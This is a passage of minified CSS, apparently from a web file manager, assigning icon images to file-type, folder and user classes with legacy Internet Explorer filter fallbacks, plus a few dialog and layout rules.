\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-3g2,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/movie/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/flv.png?ver=3.30',sizingMethod='scale');}.x-rmvb{background-image:url("../../../images/file_icon/icon_file/movie/rmvb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/rmvb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/rmvb.png?ver=3.30',sizingMethod='scale');}.x-mkv{background-image:url("../../../images/file_icon/icon_file/movie/mkv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mkv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mkv.png?ver=3.30',sizingMethod='scale');}.x-mp4,.x-m4v{background-image:url("../../../images/file_icon/icon_file/movie/mp4.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mp4.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mp4.png?ver=3.30',sizingMethod='scale');}.x-mov{background-image:url("../../../images/file_icon/icon_file/movie/mov.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mov.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mov.png?ver=3.30',sizingMethod='scale');}.x-avi{background-image:url("../../../images/file_icon/icon_file/movie/avi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/avi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/avi.png?ver=3.30',sizingMethod='scale');}.x-3dm,.x-3ds,.x-asm,.x-cam360,.x-catpart,.x-catproduct,.x-cgr,.x-collaboration,.x-dae,.x-dgn,.x-dlv3,.x-dwf,.x-dwfx,.x-dwg,.x-dwt,.x-dxf,.x-exp,.x-f3d,.x-fbx,.x-g,.x-gbxml,.x-iam,.x-idw,.x-ifc,.x-ige,.x-iges,.x-igs,.x-ipt,.x-jt,.x-model,.x-neu,.x-nwc,.x-nwd,.x-obj,.x-prt,.x-rvt,.x-sab,.x-sat,.x-session,.x-skp,.x-sldasm,.x-sldprt,.x-smb,.x-smt,.x-ste,.x-step,.x-stl,.x-stla,.x-stlb,.x-stp,.x-wire,.x-x_b,.x-x_t,.x-xas,.x-xpr{background-image:url("../../../images/file_icon/icon_file/autodesk/autodesk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/autodesk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/autodesk.png?ver=3.30',sizingMethod='scale');}.x-3ds{background-image:url("../../../images/file_icon/icon_file/autodesk/3ds.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3ds.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3ds.png?ver=3.30',sizingMethod='scale');}.x-3dm{background-image:url("../../../images/file_icon/icon_file/autodesk/3dm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3dm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3dm.png?ver=3.30',sizingMethod='scale');}.x-dae{background-image:url("../../../images/file_icon/icon_file/autodesk/dae.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dae.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dae.png?ver=3.30',sizingMethod='scale');}.x-stl,.x-stla,.x-stlb{background-image:url("../../../images/file_icon/icon_file/autodesk/stl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/stl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/stl.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/autodesk/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwg.png?ver=3.30',sizingMethod='scale');}.x-dwf{background-image:url("../../../images/file_icon/icon_file/autodesk/dwf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');}.x-dwfx{background-image:url("../../../images/file_icon/icon_file/autodesk/dwf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/autodesk/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dxf.png?ver=3.30',sizingMethod='scale');}.x-ifc{background-image:url("../../../images/file_icon/icon_file/autodesk/ifc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/ifc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/ifc.png?ver=3.30',sizingMethod='scale');}.x-iam{background-image:url("../../../images/file_icon/icon_file/autodesk/iam.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/iam.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/iam.png?ver=3.30',sizingMethod='scale');}.x-fbx{background-image:url("../../../images/file_icon/icon_file/autodesk/fbx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/fbx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/fbx.png?ver=3.30',sizingMethod='scale');}.x-rvt{background-image:url("../../../images/file_icon/icon_file/autodesk/rvt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/rvt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/rvt.png?ver=3.30',sizingMethod='scale');}.x-skp{background-image:url("../../../images/file_icon/icon_file/autodesk/skp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/skp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/skp.png?ver=3.30',sizingMethod='scale');}.x-vnd,.x-dgn{background-image:url("../../../images/file_icon/icon_file/autodesk/vnd-dgn.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/vnd-dgn.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/vnd-dgn.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder-share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle-full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path-self-share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app-link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-user-self{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-group-self{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-group-self-owner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-group-guest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-group-self-root{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-group-root{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-group-public{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-tree-self{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-tree-fav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-logout{background-image:url("../../../images/file_icon/icon_others/logout.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/logout.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/logout.png?ver=3.30',sizingMethod='scale');}.x-app-store{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}.frame-fullscreen{position:fixed;z-index:99999999;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.content-box .ace_cjk{width:1em !important;}.content-box .ace_static_highlight{font-size:1.15em;}.aui-buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialog-change-max,.dialog-change-max .aui-main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui-title 